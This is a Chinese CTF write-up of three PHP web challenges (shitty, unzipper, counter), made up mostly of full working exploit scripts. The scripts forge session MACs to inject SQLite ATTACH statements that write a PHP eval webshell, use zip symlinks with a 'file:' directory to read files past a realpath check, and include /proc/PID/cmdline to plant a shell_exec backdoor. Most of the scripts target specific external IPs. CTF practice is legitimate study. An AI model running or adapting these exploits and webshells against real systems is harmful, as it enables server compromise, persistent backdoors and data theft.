shitty 看源码,是一个sqlite,但是看了一下docker文件,最终是要让我们执行/readflag的,所以我们肯定要命令执行,看看能不能写shell进去
之前学过sqlite写shell的,所以直接拿出来看看,可以使用attach写shell,而且也没看到什么过滤之类的,但是要在哪个语句写倒是个问题
我们可控的命令执行语句只有这两条
function insert_entry ($db, $content, $user_id ) { $sth = $db->prepare('INSERT INTO entry (content, user_id) VALUES (?, ?)' ); $sth->execute([$content, $user_id]); } function delete_entry ($db, $entry_id, $user_id ) { $db->exec("DELETE from entry WHERE {$user_id} <> 0 AND id = {$entry_id} " );
第一个execute
execute(sql[, parameters]) 执行一条 SQL 语句。 可以使用 占位符 将值绑定到语句中
exec
但其实看了一下,也确实是下面这个delete_entry能构造闭合然后去命令执行多条语句。
在这个语句当中,有三个变量,跟了一下,发现只有user_id是可控的,而user_id是前面的seesion的值,也就是说,我们需要伪造session
那么现在思路其实就很明确了:
伪造session->sqlite使用attach写马
首先看看他的session是如何生成的。主要是以下这部分内容,
else { $session = explode('|' , $_COOKIE['session' ]); if ( ! hash_equals(crypt(hash_hmac('md5' , $session[0 ], $secret, true ), $salt), $salt.$session[1 ])) { exit (); } $id = $session[0 ]; $mac = $session[1 ]; }
以前看到伪造session都觉得很麻烦,不想做,现在是时候去面对它了
这题伪造session的漏洞在于crypt,首先我们知道,hash_quals是对比两个参数的哈希值是否相同,然后crypt有一个这样的特性,由于它是启用二进制的形式输出,则会导致存在以0字节开头的id经过md5加密以后的值和mac值相等,那么我们只要找到这个mac值,然后再去重新跑id,让他和我们的恶意语句拼接以后的值经过crypt后为0字节就可以绕过了。那么如何获取这个mac值呢?就是去循环跑,因为要得到两个一样的mac值基本上是不可能的,除非这两个id都为0字节id。
接下来写一下脚本:
这里发现了一个以前没发现的细节。。。
在python中 s=request.session s.get() 用了第一句以后,接下来在用s来发送请求,此时已经表示在同一个会话下了,如果想要得到不同的cookie,需要直接用requests.get()来发送请求
最后使用多线程去跑,可以提高成功率
import requestsfrom urllib.parse import unquotefrom urllib.parse import quoteimport threadingimport randomurl="http://110.42.133.120:8080/" def get_mac (): mac_list=[] rtmac="" while True : try : re=requests.get(url) session=unquote(re.headers['Set-Cookie' ]) session=session.split("=" )[1 ].split("|" ) orgin_id=session[0 ] mac=session[1 ] if mac in mac_list: return mac else : mac_list.append(mac) print("orgin_id" ,orgin_id) print("mac" , mac) except : pass def writ_shell (mac,id ): payload="1;ATTACH DATABASE '/var/www/html/data/tlif3.php' AS shell ;create TABLE shell . exp ( webshell text);insert INTO shell . exp (webshell) VALUES (x'3c3f706870206576616c28245f4745545b22726464225d293b3f3e');--" session = quote("{payload}{id}|" .format(payload=payload,id=i)+mac) cookie = { "session" :session, } res = requests.get(url,cookies=cookie) if "Blog" in res.text or int(len(res.text)>0 ): print(cookie) print(res.content) data={ "content" :"hello" } pushcontent=requests.post(url,data=data,cookie=cookie) print(pushcontent.content) print("\n::delete::\n" ) data={ "delete" :"1" } delete=requests.post(url,data=data,cookie=cookie) print(delete.content) exit(-1 ) if __name__=="__main__" : mac=get_mac() for num in range(1000 ): print("num: " , num) thread_list = [] for i in range(0 , 20 ): id = random.randint(1 , 9223372036854775807 ) m = threading.Thread(target=writ_shell, args=(mac,id)) thread_list.append(m) for m in thread_list: m.start() for m in thread_list: m.join()
unzipper <?php session_start() or die ('session_start' ); $_SESSION['sandbox' ] ??= bin2hex(random_bytes(16 )); $sandbox = 'data/' . $_SESSION['sandbox' ]; $lock = fopen($sandbox . '.lock' , 'w' ) or die ('fopen' ); flock($lock, LOCK_EX | LOCK_NB) or die ('flock' ); @mkdir($sandbox, 0700 ); chdir($sandbox) or die ('chdir' ); if (isset ($_FILES['file' ])) system('ulimit -v 8192 && /usr/bin/timeout -s KILL 2 /usr/bin/unzip -nqqd . ' . escapeshellarg($_FILES['file' ]['tmp_name' ])); else if (isset ($_GET['file' ])) if (0 === preg_match('/(^$|flag)/i' , realpath($_GET['file' ]) ?: '' )) readfile($_GET['file' ]); fclose($lock);
看到压缩文件马上就想到软链接了,正好之前有一个比赛没去做到,这次正好复现熟悉一下。
审计一下代码,发现在读文件的时候会经过一些过滤操作,有个realpath的函数
expr1?:expr3 expr1在求值时如果为true返回expr1否则返回expr3
接下来理解
理解一下什么是软链接
软链接: 保存了其代表的文件的绝对路径,是另外一种文件,在硬盘上有独立的区块,访问时替换自身路径。
通俗来说就是将一个文件A的绝对路径放在另一个文件B里面,访问这个B文件的路径实际上是访问A文件。
接下来我们尝试上传一下,可以看到,使用readfile同样可以读取其中的软链接
但是在这题,没有那么容易,因为他新增加了一个realpath,可以看到使用了realpath以后,显示的就是他的软链接了,此时要是用readfile+软链接读取flag就不太可能了
这里还需要补充一点,软链接需要和zip组合才能发挥作用 ,这样解压以后的软链接此时链接到才是该台服务器上的文件。如果只是单纯软链接存在是不行的。比如说我在A电脑上创建了一个软链接,将这个软链接文件放到B上,访问这个软链接文件的时候,数据仍然是A电脑上的。
那么这个题目的重点就是绕过这个正则匹配
这里就是一个小trick,readfile是可以读取php的伪协议的,那么也就是说,我们上传一个zip,里面包含两个文件,一个是伪协议,伪协议读取的是另一个文件,而另一个文件的内容就是flag的地址
上面这个方法不行,所以再想想,首先readfile可以读取协议,那么我们就可以用伪协议,这点是确定的,那么要如何使用伪协议来绕过呢?
我们知道,通过realpath,软链接就会被直接转化为真实链接,就无法绕过正则,但如过我们将一个读取文件的协议作为各个目录串联起来,这样在realpath这里,会被解析为一个目录,而在readfile又会被解析为协议 第一级目录是file: 第二级目录是/var这样一直往下 然后完整目录连接起来就是: file:/var/www/html/data/xxxxx/软链接 当我们访问 file:///var/www/html/data/xxxxx/的时候 经过realpath处理以后会变成 file:/var/www/html/data/xxxxx/软链接 此时则是指向一个空目录 而在readfile中又是 file:///var/www/html/data/xxxxx/软链接 此时就可以读取到flag了
但是这样的话在构造压缩包的时候其实挺麻烦的
另外一个考点就是通过session得到文件保存路径了,开了session,可以直接
session_start() or die ('session_start' ); $_SESSION['sandbox' ] ??= bin2hex(random_bytes(16 )); $sandbox = 'data/' . $_SESSION['sandbox' ];
因为有docker,直接find一下session的保存路径就可以了
所以我们的解题步骤也很明了了
这里还有一个比较奇怪的事,当我在本地测试的时候,怎么弄都是false
后面又去瞅了一下源码才发现,原来它是在所创建的新的目录下进行操作的,所以可以使用相对路径!!!!所以此时realpath在检查file://xxx的时候返回的就是true,如果没有这个,返回的就是false了
$lock = fopen($sandbox . '.lock' , 'w' ) or die ('fopen' ); fclose
讲一下这个脚本的核心的思路,就是创建一个文件目录,还有一个软链接,将两个合并压缩即可
import requestsimport reimport oss=requests.session() url="http://110.42.133.120:1234" sess_r=s.get(url) sess=sess_r.headers['Set-Cookie' ] sess_f=re.findall(r'=(.*?);' ,sess) print(sess_f) file_path=f'/var/lib/php/sessions/sess_{sess_f[0 ]} ' sandbox=s.get(url+f'/?file={file_path} ' ) print(sandbox.text) flag_path=re.findall(r'"(.*?)"' ,sandbox.text) print(flag_path) soft_fi="leak" zip_path=f'file:///var/www/html/data/{flag_path[0 ]} /{soft_fi} ' os.system("rm -rf leak go.zip file:" ) os.system(f"ln -s /flag.txt leak" ) os.system(f"mkdir -p {zip_path} " ) os.system(f"zip --symlinks -r go.zip file: {soft_fi} " ) file={ "file" :open('./go.zip' ,'rb' ) } r=s.post(url,files=file) flag=s.get(url+f'/?file={zip_path} ' ) print(flag.text)
小结 这道题其实核心思路不难,但是有很多细节要注意,而且可能也是自己理解不够透彻,审计能力还不够强,导致很多细节没注意到,卡了很久。这里重新理一下。
1.审计源码,发现代码是可以直接查询上传内容的,也就是可以使用相对路径,因为开了fopen
2.发现路径是存储在session当中,可以通过docker找到session存放路径
3.使用了unzip解压指令,意味着我们可以使用软链接读取文件,但是由于正则匹配的存在,主要是realpath,导致我们无法直接使用软链接,需要绕过。
3.因为readpath可以读取url,也即可以使用伪协议来读取文件,所以我们可以创建一个由协议组成的文件目录级,当realpath读取这个伪协议的时候,会将其视为一个文件目录,从而绕过验证,指的一提的是,因为此时可以使用相对路径读取才有这个操作的可能。而我们在另外创建一个软链接,而针对file://协议而言,读取的是绝对路径,所以我们就可以读取到这个软链接。
解法二 这个解法二是队里大师傅想的,简直就是天才,重点在于他那个/etc/passwd,看一下我的,还去找session,就很麻烦,他直接覆盖一下,直接读/etc/passwd就可以读到flag了。
import requestsimport zipfileimport osurl = "http://65.108.176.76:8200/" file_name = "file:///flag.txt" file_ln = "/etc/passwd" os.system("rm -f " +file_name) os.system("cp /etc/passwd- /etc/passwd" ) os.system("rm -f hi.zip" ) os.symlink(file_ln, file_name) os.system("zip -ry file.zip file\:/" ) req = requests.session() file = {"file" :open("file.zip" ,'rb' )} res = req.post(url,files=file) print("upload success" ) print(res.text) res = req.get(url+"?file=" +file_name) print(url+"?file=" +file_name) print("get file success" ) print(res.text)
counter <?php $rmf = function ($file ) { system('rm -f -- ' .escapeshellarg($file)); }; $page = $_GET['page' ] ?? 'default' ; chdir('./data' ); if (isset ($_GET['reset' ]) && preg_match('/^[a-zA-Z0-9]+$/' , $page) === 1 ) { $rmf($page); } file_put_contents($page, file_get_contents($page) + 1 ); include_once ($page);
看起来简单,但是不会做的题目,看完wp大概是理解了
因为系统命令会创建proc/$PID/cmdline,因此我们可以通过包含这个进程来进行命令执行,但是我们只能输入字母和数字,那么怎么命令执行可以执行只由数字字母组成的呢?那就是base64编码以后的内容,因此我们可以使用phpfilter的base64解码包含文件名就可以进行命令执行了。
但是复现没成功,感觉以我现在的实力是做不出来了。。。 贴一下脚本,以后研究吧
import requests, threading, time,os, base64, re, tempfile, subprocess,secrets, hashlib, sys, random, signalfrom urllib.parse import urlparse,quote_from_bytesdef urlencode (data, safe='' ): return quote_from_bytes(data, safe) url = f'http://{sys.argv[1 ]} :{sys.argv[2 ]} /' backdoor_name = secrets.token_hex(8 ) + '.php' secret = secrets.token_hex(16 ) secret_hash = hashlib.sha1(secret.encode()).hexdigest() print('[+] backdoor_name: ' + backdoor_name, file=sys.stderr) print('[+] secret: ' + secret, file=sys.stderr) code = f"<?php if(sha1($_GET['s'])==='{secret_hash} ')echo shell_exec($_GET['c']);" .encode() payload = f"""<?php if(sha1($_GET['s'])==='{secret_hash} ')file_put_contents("{backdoor_name} ",$_GET['p']);/*""" .encode() payload_encoded = b'abcdfg' + base64.b64encode(payload) print(payload_encoded) assert re.match(b'^[a-zA-Z0-9]+$' , payload_encoded)with tempfile.NamedTemporaryFile() as tmp: tmp.write(b"sh\x00-c\x00rm\x00-f\x00--\x00'" + payload_encoded +b"'" ) tmp.flush() o = subprocess.check_output(['php' ,'-r' , f'echo file_get_contents("php://filter/convert.base64-decode/resource={tmp.name} ");' ]) print(o, file=sys.stderr) assert payload in o os.chdir('/tmp' ) subprocess.check_output(['php' ,'-r' , f'$_GET = ["p" => "test", "s" => "{secret} "]; include("php://filter/convert.base64-decode/resource={tmp.name} ");' ]) with open(backdoor_name) as f: d = f.read() assert d == 'test' pid = -1 N = 10 done = False def worker (i ): time.sleep(1 ) while not done: print(f'[+] starting include worker: {pid + i} ' , file=sys.stderr) s = f"""bombardier -c 1 -d 3m '{url} ?page=php%3A%2F%2Ffilter%2Fconvert.base64-decode%2Fresource%3D%2Fproc%2F{pid + i} %2Fcmdline&p={urlencode(code)} &s={secret} ' > /dev/null""" os.system(s) def delete_worker (): time.sleep(1 ) while not done: print('[+] starting delete worker' , file=sys.stderr) s = f"""bombardier -c 8 -d 3m '{url} ?page={payload_encoded.decode()} &reset=1' > /dev/null""" os.system(s) for i in range(N): threading.Thread(target=worker, args=(i, ), daemon=True ).start() threading.Thread(target=delete_worker, daemon=True ).start() while not done: try : r = requests.get(url, params={ 'page' : '/proc/sys/kernel/ns_last_pid' }, timeout=10 ) print(f'[+] pid: {pid} ' , file=sys.stderr) if int(r.text) > (pid+N): pid = int(r.text) + 200 print(f'[+] pid overflow: {pid} ' , file=sys.stderr) os.system('pkill -9 -x bombardier' ) r = requests.get(f'{url} data/{backdoor_name} ' , params={ 's' : secret, 'c' : f'id; ls -l /; /readflag; rm {backdoor_name} ' }, timeout=10 ) if r.status_code == 200 : print(r.text) done = True os.system('pkill -9 -x bombardier' ) exit() time.sleep(0.5 ) except Exception as e: print(e, file=sys.stderr)